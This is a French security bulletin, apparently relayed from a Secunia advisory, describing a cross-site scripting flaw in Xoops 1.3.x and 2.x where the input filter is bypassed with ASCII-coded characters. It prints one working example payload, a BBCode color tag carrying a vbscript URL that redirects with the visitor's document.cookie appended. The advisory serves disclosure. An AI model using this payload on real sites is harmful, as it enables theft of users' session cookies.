SECURINFOS.INFO - Bulletins de sécurité informatique, Alertes et Protection
Xoops Cross Site Scripting
21/01/2007 14H18
Référence Secunia : SA9528
Date de publication : 2003-08-14
Risque : Non Critique. Niveau 2 sur 5. 
Impact : Cross Site Scripting
Lieu : A distance
Solutions :
Correctif de l'éditeur
Produit :
Xoops 1.3.x
Xoops 2.x
Description :
Une vulnérabilité a été rapportée dans Xoops autorisant les utilisateurs malicieux à injecter scripts.
Le problème est que le filter peut être contournée en remplaçant caractères avec leurs ASCII values. Cela permet à des utilisateurs malicieux pour injecter vbscript dans des messages privés, news et potentiellement d'autres functions.
Exemple :
[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]
Versions 1.3 et plus loin a été rapportée vulnérable.
Solutions :
La version 2.0.3 n'est pas vulnérable.
Vulnérabilité découverte par :
Frog Man
Veuillez noter : L'information sur laquelle ce bulletin de sécurité Secunia est basé provient d'un tiers sans mention du contraire.
Les noms, marques et enseignes cités sur ce site sont la propriété de leurs déposants respectifs.
Derniers bulletins de sécurité informatique
Bulletins de sécurité informatiques relatifs
|
|
SECURINFOS